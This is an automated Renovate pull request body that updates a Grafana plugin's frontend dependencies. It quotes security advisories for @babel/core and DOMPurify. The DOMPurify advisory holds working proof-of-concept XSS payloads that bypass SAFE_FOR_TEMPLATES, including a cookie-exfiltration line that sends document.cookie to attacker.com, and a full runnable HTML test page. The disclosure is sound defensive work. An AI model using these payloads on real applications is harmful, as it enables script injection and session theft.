fix(deps): update frontend dependencies

[renovate-sh-app]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
@axe-core/playwright	4.11.3 → 4.12.1
@babel/core (source)	7.29.0 → 7.29.6
@grafana/data (source)	12.4.2 → 12.4.5
@grafana/e2e-selectors (source)	12.4.2 → 12.4.5
@grafana/i18n (source)	12.4.3 → 12.4.5
@grafana/plugin-e2e (source)	3.7.1 → 3.9.2
@grafana/plugin-meta-extractor (source)	0.12.2 → 0.13.0
@grafana/plugin-ui	0.13.1 → 0.16.1
@grafana/runtime (source)	12.4.2 → 12.4.5
@grafana/schema (source)	12.4.2 → 12.4.5
@grafana/tsconfig (source)	2.1.0 → 2.2.0
@grafana/ui (source)	12.4.2 → 12.4.5
@openfeature/core	1.10.0 → 1.11.0
@openfeature/web-sdk	1.8.0 → 1.9.0
@playwright/test (source)	1.59.1 → 1.61.1
@remix-run/router (source)	1.23.2 → 1.23.3
@swc/core (source)	1.15.32 → 1.15.43
@swc/helpers (source)	0.5.21 → 0.5.23
@types/node (source)	25.6.0 → 25.9.5
@types/react (source)	18.3.28 → 18.3.31
@typescript-eslint/eslint-plugin (source)	8.59.1 → 8.63.0
@typescript-eslint/parser (source)	8.59.1 → 8.63.0
cspell (source)	10.0.0 → 10.0.1
dompurify	3.4.2 → 3.4.11
eslint (source)	9.39.4 → 9.39.5
eslint-plugin-prettier	5.5.5 → 5.5.6
i18next (source)	26.0.8 → 26.3.6
jest (source)	30.3.0 → 30.4.2
jest-environment-jsdom (source)	30.3.0 → 30.4.1
prettier (source)	3.8.3 → 3.9.5
sass	1.99.0 → 1.101.0
sass-loader	16.0.7 → 16.0.8
semver	7.7.4 → 7.8.5
serialize-javascript	7.0.5 → 7.0.7
terser-webpack-plugin	5.5.0 → 5.6.1
webpack	5.106.2 → 5.108.4
webpack-cli (source)	7.0.2 → 7.2.1
yarn (source)	4.14.1 → 4.17.1

---

@​babel/core: Arbitrary File Read via sourceMappingURL Comment

CVE-2026-49356 / GHSA-4x5r-pxfx-6jf8

More information

Details

Impact

Using @babel/core to compile maliciously crafted code can allow ab attacker to read any source map from the system that is running Babel, if these conditions are all true:

• the attacker controls the input source code
• the attacker can read the output source code
• the attacker knows the path of the source map file that they want to read

Users that only compile trusted code are not impacted.

Patches

The vulnerability has been fixed in @babel/core@7.29.6 and @babel/core@8.0.0-rc.6.

Workarounds

Callers can mitigate the issue without upgrading by setting inputSourceMap: false in their Babel options.

Callers can also manually extract the #sourceMappingURL comment from the input source code, validate whether the source map that it links to is allowed to be read, and if it is pass an object to inputSourceMap (passing false when it's not).

Credits

Thanks Teodor-Cristian Radoi for reporting the vulnerability.

Severity

• CVSS Score: 3.2 / 10 (Low)
• Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N

References

• https://github.com/babel/babel/security/advisories/GHSA-4x5r-pxfx-6jf8
• https://babeljs.io/docs/options#inputsourcemap
• https://nvd.nist.gov/vuln/detail/CVE-2026-49356
• https://github.com/advisories/GHSA-4x5r-pxfx-6jf8

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

@​babel/core: Arbitrary File Read via sourceMappingURL Comment

CVE-2026-49356 / GHSA-4x5r-pxfx-6jf8

More information

Details

Impact

Using @babel/core to compile maliciously crafted code can allow ab attacker to read any source map from the system that is running Babel, if these conditions are all true:

• the attacker controls the input source code
• the attacker can read the output source code
• the attacker knows the path of the source map file that they want to read

Users that only compile trusted code are not impacted.

Patches

The vulnerability has been fixed in @babel/core@7.29.6 and @babel/core@8.0.0-rc.6.

Workarounds

Callers can mitigate the issue without upgrading by setting inputSourceMap: false in their Babel options.

Callers can also manually extract the #sourceMappingURL comment from the input source code, validate whether the source map that it links to is allowed to be read, and if it is pass an object to inputSourceMap (passing false when it's not).

Credits

Thanks Teodor-Cristian Radoi for reporting the vulnerability.

Severity

• CVSS Score: 3.2 / 10 (Low)
• Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N

References

• https://github.com/babel/babel/security/advisories/GHSA-4x5r-pxfx-6jf8
• https://nvd.nist.gov/vuln/detail/CVE-2026-49356
• https://babeljs.io/docs/options#inputsourcemap
• https://github.com/babel/babel

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside content when using DOM output modes

GHSA-gvmj-g25r-r7wr

More information

Details

Summary

When DOMPurify is configured with both SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or IN_PLACE: true), an attacker can inject template expressions, such as ${evil}, {{evil}}, or <%evil%>, that survive the sanitization pass inside <template> element content. This bypasses the explicit purpose of SAFE_FOR_TEMPLATES, which is to prevent template engine evaluation of user-supplied content.

Note: The string output path is not affected. Only the DOM return paths (RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, IN_PLACE: true) are vulnerable.

---

Description

Background

SAFE_FOR_TEMPLATES is designed to strip {{ }}, ${ }, and <% %> expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:

1. Per-node scrubbing (_sanitizeElements, src/purify.ts:1403), scrubs individual text nodes during the main sanitization walk.
2. Final normalization pass (_scrubTemplateExpressions, src/purify.ts:1115), calls node.normalize() to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.

The Gap

_scrubTemplateExpressions uses a standard NodeIterator rooted at the output body:

// src/purify.ts:1117
const walker = createNodeIterator.call(
  node.ownerDocument || node,
  node,
  NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,
  null
);

Per the DOM specification, a NodeIterator does not descend into <template>.content. The template element's content is a separate DocumentFragment that lives outside the normal child-node tree. For the same reason, node.normalize() (called on line 1116) also does not normalize text nodes inside <template>.content.

This means the final normalization and scrub pass, the only pass that catches expressions formed by merging split text nodes, never runs on <template> content.

How Split Text Nodes Are Created

When DOMPurify removes a disallowed element with KEEP_CONTENT: true (the default), it moves the element's text children into the parent node. This is the standard code path at src/purify.ts:1361–1373:

if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) {
  const parentNode = getParentNode(currentNode);
  const childNodes = getChildNodes(currentNode);
  if (childNodes && parentNode) {
    for (let i = childCount - 1; i >= 0; --i) {
      const childClone = cloneNode(childNodes[i], true);
      parentNode.insertBefore(childClone, getNextSibling(currentNode));
    }
  }
}

If the removed elements were adjacent siblings inside <template> content, their extracted text nodes end up as adjacent text nodes in the template content fragment. Each individual text node is scrubbed by _sanitizeElements, but since $ and {evil} do not match any expression regex on their own, neither is modified.

The code comment at src/purify.ts:1100 explicitly acknowledges the threat class:

"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework."

The implementation guards against this on the main body, but the guard is not applied to <template> content.

---

Proof of Concept

Why the Split Works

The bypass relies on splitting ${...} across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:

Fragment	Against TMPLIT_EXPR /\${[\w\W]*/g	Against MUSTACHE_EXPR /{{[\w\W]*|^[\w\W]*}}/g	Result
$	Requires ${ - no { follows	No {{ or }}	Survives
{alert(document.domain)}	Requires leading $ - absent	No {{, ends with single } not }}	Survives
${alert(document.domain)}	Full match - would be stripped	-	Stripped if seen whole

DOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.

---

PoC 1 - XSS via alert() (baseline confirmation)

// Attacker input - splits "${alert(document.domain)}" across two custom elements.
// Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed,
// but their text content is kept (KEEP_CONTENT: true is the default).
const dirty =
  '<template>' +
    '<x-split-1>$</x-split-1>' +
    '<x-split-2>{alert(document.domain)}</x-split-2>' +
  '</template>';

// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}
const sanitized = DOMPurify.sanitize(dirty, {
  RETURN_DOM: true,
  SAFE_FOR_TEMPLATES: true,
});

// Inspect what survived inside the <template>
const tmpl = sanitized.querySelector('template');
console.log([...tmpl.content.childNodes].map(n => n.nodeValue));
// ["$", "{alert(document.domain)}"]  <-- two separate text nodes, both "clean"

// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()
// before reading template content. This merges the adjacent nodes:
tmpl.content.normalize();
console.log(tmpl.content.textContent);
// "${alert(document.domain)}"  <-- fully formed expression, past the sanitizer

// Any template-literal evaluator now fires XSS:
const expr = tmpl.content.textContent;
new Function(`return \`${expr}\``)();
// !! alert(document.domain) executes !!

---

PoC 2 - Session Hijacking via cookie exfiltration

// Splits "${document.location='//attacker.com/?c='+document.cookie}"
// "{document.location=...}" ends with a single "}" — does NOT match
// MUSTACHE_EXPR's "^[\w\W]*}}" (requires double "}}"), so it survives.
const dirty =
  '<template>' +
    '<x-a>$</x-a>' +
    '<x-b>{document.location="//attacker.com/?c="+document.cookie}</x-b>' +
  '</template>';

const sanitized = DOMPurify.sanitize(dirty, {
  RETURN_DOM: true,
  SAFE_FOR_TEMPLATES: true,
});

const tmpl = sanitized.querySelector('template');
tmpl.content.normalize();

console.log(tmpl.content.textContent);
// "${document.location="//attacker.com/?c="+document.cookie}"

// Template engine evaluates it - victim's browser makes the request:
new Function(`return \`${tmpl.content.textContent}\``)();
// !! Redirects victim to attacker.com with their full cookie string !!
// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789

---

PoC 3 - End-to-end: realistic application context

This shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:

<!-- index.html - the vulnerable application -->
<div id="output"></div>
<script type="module">
  import DOMPurify from './dist/purify.es.mjs';

  // Simulates fetching and rendering user-submitted comment
  async function renderComment(userHtml) {
    // Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine
    const dom = DOMPurify.sanitize(userHtml, {
      RETURN_DOM: true,
      SAFE_FOR_TEMPLATES: true,
    });

    // Application iterates <template> elements and evaluates their content
    // (common pattern in component-based frameworks)
    dom.querySelectorAll('template').forEach(tmpl => {
      tmpl.content.normalize(); // standard DOM housekeeping
      const content = tmpl.content.textContent;

      // Application uses template literals to interpolate user content into UI
      const rendered = new Function('user', `return \`${content}\``)({ name: 'World' });
      document.getElementById('output').innerHTML += rendered;
    });
  }

  // Attacker-supplied comment content
  const attackerComment =
    '<template>' +
      '<x-a>$</x-a>' +
      '<x-b>{alert("XSS: " + document.cookie)}</x-b>' +
    '</template>';

  // Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM
  renderComment(attackerComment);
  // !! XSS fires, alert pops with session cookies !!
</script>

Observed output: alert("XSS: " + document.cookie) executes in the victim's browser context, leaking session tokens to the attacker.

---

PoC 4 - IN_PLACE mode (DOM input path)

// Applicable when the application sanitizes DOM nodes directly
// (e.g., content loaded into an iframe or received from a WebSocket)

const container = document.createElement('div');
const tmpl = document.createElement('template');

// Adjacent text nodes - these would never appear in HTML-parsed content,
// but CAN appear in programmatically constructed DOM or WebSocket messages
// that are deserialised into DOM nodes before sanitisation.
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(document.createTextNode('{alert(document.domain)}'));
container.appendChild(tmpl);

// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}
DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });

// Neither text node was modified - each passed the regex check individually
container.querySelector('template').content.normalize();
console.log(container.querySelector('template').content.textContent);
// "${alert(document.domain)}"  <-- survived in-place sanitization

new Function(`return \`${container.querySelector('template').content.textContent}\``)();
// !! XSS fires !!

HTML File for testing

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <title>DOMPurify SAFE_FOR_TEMPLATES Bypass - PoC</title>
  <script src="dist/purify.js"></script>
  <style>
    * { box-sizing: border-box; margin: 0; padding: 0; }
    body {
      font-family: 'Segoe UI', system-ui, sans-serif;
      background: #&#8203;0d1117;
      color: #e6edf3;
      padding: 32px;
    }
    h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }
    .subtitle { color: #&#8203;8b949e; font-size: 0.9rem; margin-bottom: 32px; }
    .card {
      background: #&#8203;161b22;
      border: 1px solid #&#8203;30363d;
      border-radius: 8px;
      margin-bottom: 24px;
      overflow: hidden;
    }
    .card-header {
      display: flex;
      align-items: center;
      gap: 10px;
      padding: 14px 20px;
      border-bottom: 1px solid #&#8203;30363d;
      background: #&#8203;1c2128;
    }
    .badge {
      font-size: 0.72rem;
      font-weight: 700;
      padding: 2px 8px;
      border-radius: 4px;
      text-transform: uppercase;
      letter-spacing: 0.05em;
    }
    .badge-run    { background: #&#8203;1f6feb; color: #fff; }
    .badge-pass   { background: #&#8203;238636; color: #fff; }
    .badge-fail   { background: #da3633; color: #fff; }
    .badge-warn   { background: #&#8203;9e6a03; color: #fff; }
    .card-title   { font-size: 0.95rem; font-weight: 600; }
    .card-body    { padding: 20px; }
    label         { font-size: 0.78rem; color: #&#8203;8b949e; display: block; margin-bottom: 6px; }
    pre {
      background: #&#8203;0d1117;
      border: 1px solid #&#8203;30363d;
      border-radius: 6px;
      padding: 14px;
      font-size: 0.82rem;
      line-height: 1.6;
      overflow-x: auto;
      margin-bottom: 14px;
      white-space: pre-wrap;
      word-break: break-all;
    }
    pre.result    { border-color: #&#8203;238636; background: #&#8203;0a1a0f; }
    pre.escaped   { border-color: #da3633; background: #&#8203;1a0a0a; }
    pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; }
    .grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }
    @&#8203;media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }
    .arrow {
      text-align: center;
      font-size: 1.4rem;
      color: #&#8203;8b949e;
      margin: 4px 0;
    }
    .xss-banner {
      display: none;
      background: #da3633;
      color: #fff;
      text-align: center;
      padding: 16px;
      font-size: 1.1rem;
      font-weight: 700;
      border-radius: 6px;
      margin-bottom: 24px;
      letter-spacing: 0.03em;
    }
    button {
      background: #&#8203;238636;
      color: #fff;
      border: none;
      padding: 10px 22px;
      border-radius: 6px;
      font-size: 0.9rem;
      font-weight: 600;
      cursor: pointer;
      margin-right: 10px;
      margin-bottom: 8px;
    }
    button:hover { background: #&#8203;2ea043; }
    button.danger { background: #da3633; }
    button.danger:hover { background: #f85149; }
    .note {
      background: #&#8203;161b22;
      border-left: 3px solid #&#8203;9e6a03;
      padding: 12px 16px;
      font-size: 0.82rem;
      color: #e3b341;
      border-radius: 0 6px 6px 0;
      margin-top: 14px;
    }
    #log {
      background: #&#8203;0d1117;
      border: 1px solid #&#8203;30363d;
      border-radius: 6px;
      padding: 14px;
      font-size: 0.8rem;
      font-family: monospace;
      min-height: 60px;
      max-height: 300px;
      overflow-y: auto;
      line-height: 1.8;
    }
    .log-ok   { color: #&#8203;3fb950; }
    .log-fail { color: #f85149; }
    .log-info { color: #&#8203;8b949e; }
    .log-warn { color: #e3b341; }
  </style>
</head>
<body>

  <h1>🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass</h1>
  <p class="subtitle">
    CVE candidate · Template expression injection via &lt;template&gt; content ·
    Affects: <code>RETURN_DOM + SAFE_FOR_TEMPLATES</code> and <code>IN_PLACE + SAFE_FOR_TEMPLATES</code>
  </p>

  <div id="xss-banner" class="xss-banner">
    ⚠️ XSS CONFIRMED - Expression executed in this page's context
  </div>

  <!-- ── Controls ─────────────────────────────────────────── -->
  <div class="card">
    <div class="card-header">
      <span class="badge badge-run">Controls</span>
      <span class="card-title">Run individual test cases</span>
    </div>
    <div class="card-body">
      <button onclick="runAll()">▶ Run all tests</button>
      <button onclick="runPoC1()">PoC 1 - alert()</button>
      <button onclick="runPoC2()">PoC 2 - cookie exfil</button>
      <button onclick="runPoC3()">PoC 3 - IN_PLACE</button>
      <button onclick="runControl()">Control - string output (should block)</button>
      <div class="note">
        PoC 1 uses <code>confirm()</code> instead of <code>alert()</code> so the page
        doesn't need a dismiss click to continue. Watch the red banner at the top.
      </div>
    </div>
  </div>

  <!-- ── PoC 1 ─────────────────────────────────────────────── -->
  <div class="card" id="card-poc1">
    <div class="card-header">
      <span class="badge badge-run" id="badge-poc1">PENDING</span>
      <span class="card-title">PoC 1 - XSS via confirm() · RETURN_DOM mode</span>
    </div>
    <div class="card-body">
      <div class="grid">
        <div>
          <label>ATTACKER INPUT - splits <code>${"{confirm(...)}"}</code> across two custom elements</label>
          <pre id="input-poc1"></pre>
        </div>
        <div>
          <label>AFTER DOMPurify.sanitize() - what survived in template.content</label>
          <pre class="result" id="nodes-poc1"></pre>
        </div>
      </div>
      <div class="arrow">↓ template.content.normalize() ↓</div>
      <label>MERGED TEXT NODE - fully formed expression after normalization</label>
      <pre class="highlight" id="merged-poc1"></pre>
      <label>EXECUTION RESULT</label>
      <pre id="exec-poc1">Not run yet</pre>
    </div>
  </div>

  <!-- ── PoC 2 ─────────────────────────────────────────────── -->
  <div class="card" id="card-poc2">
    <div class="card-header">
      <span class="badge badge-run" id="badge-poc2">PENDING</span>
      <span class="card-title">PoC 2 - Cookie exfiltration · RETURN_DOM mode</span>
    </div>
    <div class="card-body">
      <div class="grid">
        <div>
          <label>ATTACKER INPUT - exfil payload split across custom elements</label>
          <pre id="input-poc2"></pre>
        </div>
        <div>
          <label>INDIVIDUAL TEXT NODES after sanitization (each "clean")</label>
          <pre class="result" id="nodes-poc2"></pre>
        </div>
      </div>
      <div class="arrow">↓ template.content.normalize() ↓</div>
      <label>MERGED EXPRESSION - what a template engine would evaluate</label>
      <pre class="highlight" id="merged-poc2"></pre>
      <label>SIMULATED EXECUTION (fetch URL that would be called)</label>
      <pre id="exec-poc2">Not run yet</pre>
      <div class="note">
        Real execution would redirect the victim to
        <code>attacker.com</code> carrying the session cookie.
        This PoC constructs the URL without actually sending it.
      </div>
    </div>
  </div>

  <!-- ── PoC 3 ─────────────────────────────────────────────── -->
  <div class="card" id="card-poc3">
    <div class="card-header">
      <span class="badge badge-run" id="badge-poc3">PENDING</span>
      <span class="card-title">PoC 3 - XSS · IN_PLACE mode (DOM node input)</span>
    </div>
    <div class="card-body">
      <div class="grid">
        <div>
          <label>ATTACKER PROVIDES - a DOM node with programmatically split text nodes</label>
          <pre id="input-poc3"></pre>
        </div>
        <div>
          <label>AFTER IN_PLACE sanitization - text nodes unchanged</label>
          <pre class="result" id="nodes-poc3"></pre>
        </div>
      </div>
      <div class="arrow">↓ template.content.normalize() ↓</div>
      <label>MERGED EXPRESSION</label>
      <pre class="highlight" id="merged-poc3"></pre>
      <label>EXECUTION RESULT</label>
      <pre id="exec-poc3">Not run yet</pre>
    </div>
  </div>

  <!-- ── Control ───────────────────────────────────────────── -->
  <div class="card" id="card-ctrl">
    <div class="card-header">
      <span class="badge badge-run" id="badge-ctrl">PENDING</span>
      <span class="card-title">Control - string output (default) MUST block the payload</span>
    </div>
    <div class="card-body">
      <label>Same attacker input, but sanitized WITHOUT RETURN_DOM (string output path)</label>
      <pre id="input-ctrl"></pre>
      <div class="arrow">↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓</div>
      <label>OUTPUT STRING - expression should be stripped</label>
      <pre id="output-ctrl">Not run yet</pre>
      <div class="note">
        The string output path is NOT vulnerable because
        <code>body.innerHTML</code> serialises the template content into a
        flat string where the full <code>${"{...}"}</code> expression is visible
        and the final regex scrub catches it.
      </div>
    </div>
  </div>

  <!-- ── Log ───────────────────────────────────────────────── -->
  <div class="card">
    <div class="card-header">
      <span class="badge badge-run">Log</span>
      <span class="card-title">Test output</span>
    </div>
    <div class="card-body">
      <div id="log"></div>
    </div>
  </div>

<script>
// ── Helpers ────────────────────────────────────────────────────────────────

let xssConfirmed = false;

function log(msg, type = 'info') {
  const el = document.getElementById('log');
  const line = document.createElement('div');
  line.className = 'log-' + type;
  line.textContent = '[' + new Date().toLocaleTimeString() + '] ' + msg;
  el.appendChild(line);
  el.scrollTop = el.scrollHeight;
}

function setBadge(id, status) {
  const el = document.getElementById('badge-' + id);
  el.textContent = status;
  el.className = 'badge ' + {
    PASS: 'badge-fail',   // "PASS" here means the attack succeeded (bad for security)
    BLOCK: 'badge-pass',  // "BLOCK" means DOMPurify correctly blocked it
    PENDING: 'badge-run',
    ERROR: 'badge-warn',
  }[status];
}

function markXSS(poc) {
  if (!xssConfirmed) {
    xssConfirmed = true;
    document.getElementById('xss-banner').style.display = 'block';
  }
  log('🔴 XSS CONFIRMED in ' + poc + ' - expression executed in page context', 'fail');
}

// ── PoC 1: RETURN_DOM + alert ──────────────────────────────────────────────

function runPoC1() {
  log('Running PoC 1 - RETURN_DOM + confirm()...', 'info');

  // IMPORTANT:
  // Build a REAL template DOM node with split TEXT nodes.
  // HTML parsing would merge adjacent text automatically,
  // so we construct the DOM programmatically.

  const container = document.createElement('div');
  const tmpl = document.createElement('template');

  tmpl.content.appendChild(document.createTextNode('$'));
  tmpl.content.appendChild(
    document.createTextNode(
      '{confirm("XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\nExpression executed in: " + document.domain)}'
    )
  );

  container.appendChild(tmpl);

  document.getElementById('input-poc1').textContent =
    'template.content.childNodes[0].data = "$"\\n' +
    'template.content.childNodes[1].data = "{confirm(...)}"';

  // Sanitize the DOM node itself
  const sanitized = DOMPurify.sanitize(container, {
    RETURN_DOM: true,
    SAFE_FOR_TEMPLATES: true,
  });

  const tmplAfter = sanitized.querySelector('template');

  if (!tmplAfter) {
    document.getElementById('exec-poc1').textContent =
      'Template element removed during sanitization';
    setBadge('poc1', 'ERROR');
    return;
  }

  const nodesBefore = [...tmplAfter.content.childNodes].map(
    n => JSON.stringify(n.nodeValue)
  );

  document.getElementById('nodes-poc1').textContent =
    'childNodes[0].data = ' + nodesBefore[0] + '\\n' +
    'childNodes[1].data = ' + nodesBefore[1] + '\\n\\n' +
    '→ Neither fragment matched individually.';

  log(
    'PoC 1: Text nodes after sanitization: ' +
    nodesBefore.join(', '),
    'warn'
  );

  // Merge text nodes
  tmplAfter.content.normalize();

  const merged = tmplAfter.content.textContent;

  document.getElementById('merged-poc1').textContent = merged;

  log('PoC 1: After normalize() - merged text: ' + merged, 'warn');

  try {
    const result = new Function('return `' + merged + '`')();

    document.getElementById('exec-poc1').textContent =
      '✔ Expression executed successfully\\n' +
      'Returned: ' + result;

    setBadge('poc1', 'PASS');
    markXSS('PoC 1');

  } catch (e) {
    document.getElementById('exec-poc1').textContent =
      'Error: ' + e.message;

    setBadge('poc1', 'ERROR');

    log('PoC 1 error: ' + e.message, 'warn');
  }
}

// ── PoC 2: cookie exfiltration ─────────────────────────────────────────────

function runPoC2() {
  log('Running PoC 2 - cookie exfiltration...', 'info');

  // Fake cookie for demonstration
  document.cookie = 'session=DEADBEEF_SECRET_TOKEN; path=/';

  // IMPORTANT:
  // Build REAL split text nodes programmatically.
  // Do NOT rely on HTML parsing.

  const container = document.createElement('div');
  const tmpl = document.createElement('template');

  tmpl.content.appendChild(document.createTextNode('$'));

  tmpl.content.appendChild(
    document.createTextNode(
      '{document.location="//attacker.com/steal?c="+document.cookie}'
    )
  );

  container.appendChild(tmpl);

  document.getElementById('input-poc2').textContent =
    'template.content.childNodes[0].data = "$"\\n' +
    'template.content.childNodes[1].data = "{document.location=...}"';

  // Sanitize DOM node
  const sanitized = DOMPurify.sanitize(container, {
    RETURN_DOM: true,
    SAFE_FOR_TEMPLATES: true,
  });

  const tmplAfter = sanitized.querySelector('template');

  if (!tmplAfter) {
    document.getElementById('exec-poc2').textContent =
      'Template element removed during sanitization';

    setBadge('poc2', 'ERROR');

    log('PoC 2: template element missing after sanitize()', 'warn');

    return;
  }

  const nodes = [...tmplAfter.content.childNodes].map(
    n => JSON.stringify(n.nodeValue)
  );

  document.getElementById('nodes-poc2').textContent =
    'Node 0: ' + nodes[0] + '\\n' +
    'Node 1: ' + nodes[1] + '\\n\\n' +
    '→ Neither fragment individually matches template-expression regexes.';

  log('PoC 2: Nodes after sanitize: ' + nodes.join(', '), 'warn');

  // Merge adjacent text nodes
  tmplAfter.content.normalize();

  const merged = tmplAfter.content.textContent;

  document.getElementById('merged-poc2').textContent = merged;

  log('PoC 2: Merged expression: ' + merged, 'warn');

  // Simulate framework evaluation
  try {
    new Function('return `' + merged + '`')();

    const cookieValue = document.cookie;

    const stealUrl =
      '//attacker.com/steal?c=' +
      encodeURIComponent(cookieValue);

    document.getElementById('exec-poc2').textContent =
      '✔ Expression successfully evaluated\\n\\n' +
      'Would redirect victim to:\\n' +
      stealUrl + '\\n\\n' +
      'Cookie exposed:\\n' +
      cookieValue;

    setBadge('poc2', 'PASS');

    markXSS('PoC 2');

    log('PoC 2: Would exfiltrate cookie → ' + stealUrl, 'fail');

  } catch (e) {
    document.getElementById('exec-poc2').textContent =
      'Error: ' + e.message;

    setBadge('poc2', 'ERROR');

    log('PoC 2 error: ' + e.message, 'warn');
  }
}
// ── PoC 3: IN_PLACE mode ───────────────────────────────────────────────────

function runPoC3() {
  log('Running PoC 3 - IN_PLACE mode...', 'info');

  // Build DOM node manually (simulates attacker-controlled DOM input,
  // e.g. content parsed from a WebSocket message or an iframe)
  const container = document.createElement('div');
  const tmplEl = document.createElement('template');

  // Two separate text nodes - HTML parser merges them, but programmatic
  // DOM construction keeps them split. This is the IN_PLACE attack surface.
  tmplEl.content.appendChild(document.createTextNode('$'));
  tmplEl.content.appendChild(document.createTextNode('{confirm("XSS via IN_PLACE - domain: " + document.domain)}'));
  container.appendChild(tmplEl);

  document.getElementById('input-poc3').textContent =
    '// Programmatically constructed DOM node:\n' +
    'template.content.childNodes[0].data = "$"\n' +
    'template.content.childNodes[1].data = "{confirm(\\"XSS via IN_PLACE...\\")}"\n\n' +
    '// Passed to DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })';

  // Sanitize IN_PLACE - SAFE_FOR_TEMPLATES should strip the expression
  DOMPurify.sanitize(container, {
    IN_PLACE: true,
    SAFE_FOR_TEMPLATES: true,
  });

  const tmplAfter = container.querySelector('template');
  const nodesAfter = [...tmplAfter.content.childNodes].map(n => n.nodeValue);
  document.getElementById('nodes-poc3').textContent =
    'childNodes[0].data = ' + JSON.stringify(nodesAfter[0]) + '\n' +
    'childNodes[1].data = ' + JSON.stringify(nodesAfter[1]) + '\n\n' +
    '→ _scrubTemplateExpressions() did not enter template.content\n' +
    '→ Both nodes unchanged after sanitization.';

  log('PoC 3: Nodes after IN_PLACE sanitize: ' + nodesAfter.map(n => JSON.stringify(n)).join(', '), 'warn');

  tmplAfter.content.normalize();
  const merged = tmplAfter.content.textContent;
  document.getElementById('merged-poc3').textContent = merged;

  log('PoC 3: Merged: ' + merged, 'warn');

  try {
    const result = new Function('return `' + merged + '`')();
    document.getElementById('exec-poc3').textContent =
      '✔ new Function() returned: ' + result + '\n' +
      'confirm() dialog shown. XSS confirmed via IN_PLACE mode.';
    setBadge('poc3', 'PASS');
    markXSS('PoC 3');
  } catch (e) {
    document.getElementById('exec-poc3').textContent = 'Error: ' + e.message;
    setBadge('poc3', 'ERROR');
    log('PoC 3 error: ' + e.message, 'warn');
  }
}

// ── Control: string output must block ─────────────────────────────────────

function runControl() {
  log('Running control - string output path (should block)...', 'info');

  const dirty =
    '<template>' +
      '<x-split-1>$</x-split-1>' +
      '<x-split-2>{confirm("this should never fire")}</x-split-2>' +
    '</template>';

  document.getElementById('input-ctrl').textContent = dirty;

  // Default string output - NOT using RETURN_DOM
  const sanitized = DOMPurify.sanitize(dirty, {
    SAFE_FOR_TEMPLATES: true,
    // RETURN_DOM intentionally omitted - string path is safe
  });

  document.getElementById('output-ctrl').textContent = sanitized;

  const blocked = !sanitized.includes('${') && !sanitized.includes('{confirm');
  if (blocked) {
    setBadge('ctrl', 'BLOCK');
    log('Control: String output correctly stripped the expression. Output: ' + sanitized, 'ok');
  } else {
    setBadge('ctrl', 'PASS'); // unexpected
    log('Control: UNEXPECTED - expression survived string output path: ' + sanitized, 'fail');
  }
}

// ── Run all ────────────────────────────────────────────────────────────────

function runAll() {
  document.getElementById('log').innerHTML = '';
  xssConfirmed = false;
  document.getElementById('xss-banner').style.display = 'none';
  log('=== Starting full test run ===', 'info');
  runPoC1();
  runPoC2();
  runPoC3();
  runControl();
  log('=== Test run complete ===', 'info');
}
</script>

</body>
</html>

---

Root Cause

_scrubTemplateExpressions (src/purify.ts:1115) does not recurse into <template>.content:

const _scrubTemplateExpressions = function (node: Element): void {
  node.normalize(); // Does NOT normalize inside <template>.content (DOM spec)
  const walker = createNodeIterator.call(
    node.ownerDocument || node,
    node,            // NodeIterator does NOT enter <template>.content
    NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT |
    NodeFilter.SHOW_CDATA_SECTION | NodeFilter.SHOW_PROCESSING_INSTRUCTION,
    null
  );
  // Scrubs nodes it finds, but never sees <template> content
};

The fix is to extend _scrubTemplateExpressions to explicitly recurse into <template>.content, mirroring the approach already used by _sanitizeShadowDOM (src/purify.ts:1753):

if (_isDocumentFragment(shadowNode.content)) {
  _sanitizeShadowDOM(shadowNode.content); // already handles recursion
}

Suggested Patch Direction

const _scrubTemplateExpressions = function (node: Element): void {
  node.normalize();
  const walker = createNodeIterator.call( /* existing args */ );

  // ... existing scrub loop ...

  // NEW: recurse into <template>.content, mirroring _sanitizeShadowDOM
  const templates = (node as Element).querySelectorAll?.('template') ?? [];
  arrayForEach(Array.from(templates), (tmpl: HTMLTemplateElement) => {
    if (_isDocumentFragment(tmpl.content)) {
      _scrubTemplateExpressions(tmpl.content as unknown as Element);
    }
  });
};

---

Impact

Who is affected: Applications that use DOMPurify with SAFE_FOR_TEMPLATES: true combined with RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, or IN_PLACE: true, whose downstream template engine processes <template> element content.

